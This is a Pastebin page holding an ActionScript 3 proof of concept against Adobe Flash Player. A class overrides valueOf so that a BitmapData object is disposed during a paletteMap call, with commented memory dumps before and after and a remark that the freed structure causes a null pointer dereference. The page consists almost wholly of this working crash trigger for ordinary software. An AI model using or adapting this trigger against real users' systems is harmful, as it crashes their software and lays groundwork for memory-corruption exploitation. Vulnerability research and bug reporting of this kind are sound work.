Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package
- {
- import flash.display.Sprite
- import flash.display.BitmapData
- import flash.geom.Point
- import flash.geom.Rectangle
- public class Main extends Sprite
- {
- static var bm:BitmapData = new BitmapData(64, 16)
- prototype.valueOf = function()
- {
- // bm.dataObj dump
- // 034c81e0 5f233f74 00000000 07abf000 00000000
- // 034c81f0 00000005 00000040 00000010 00000100
- // 034c8200 00000001 00000000 00000000 00000000
- // 034c8210 00000000 00000000 00000000 00000000
- // 034c8220 00000000 00000000 00000000 00000000
- // 034c8230 00000001 00000001 00000100 5f1f7ec4
- // 034c8240 00000000 00000000 00000000 ffffffff
- // 034c8250 ffffffff 00000000 00000000 00000000
- // 034c8260 00000000 00000000 00000000 00000000
- // 034c8270 00000100 00000000 00000000 00000000
- // 034c8280 00000000 5e6b0a90 00000000 0348f000
- // 034c8290 034692c0 00000000 00010000 00001000
- bm.dispose()
- // bm.dataObj dump
- // 034c81e0 5f233f74 00000000 00000000 00000000
- // 034c81f0 00000005 00000000 00000000 00000000
- // 034c8200 00000001 00000000 00000000 00000000
- // 034c8210 00000000 00000000 00000000 00000000
- // 034c8220 00000000 00000000 00000000 00000000
- // 034c8230 00000001 00000001 00000100 5f1f7ec4
- // 034c8240 00000000 00000000 00000000 ffffffff
- // 034c8250 ffffffff 00000000 00000000 00000000
- // 034c8260 00000000 00000000 00000000 00000000
- // 034c8270 00000100 00000000 00000000 00000000
- // 034c8280 00000000 5e6b26d0 00000000 0348f000
- // 034c8290 00000000 00000000 00010000 00001000
- // bm.dataObj+0xb0 will cause null pointer dereference
- return 0
- }
- public function Main():void
- {
- bm.paletteMap(bm, new Rectangle(0, 0, 32, 8), new Point(0, 0), new Array(this))
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment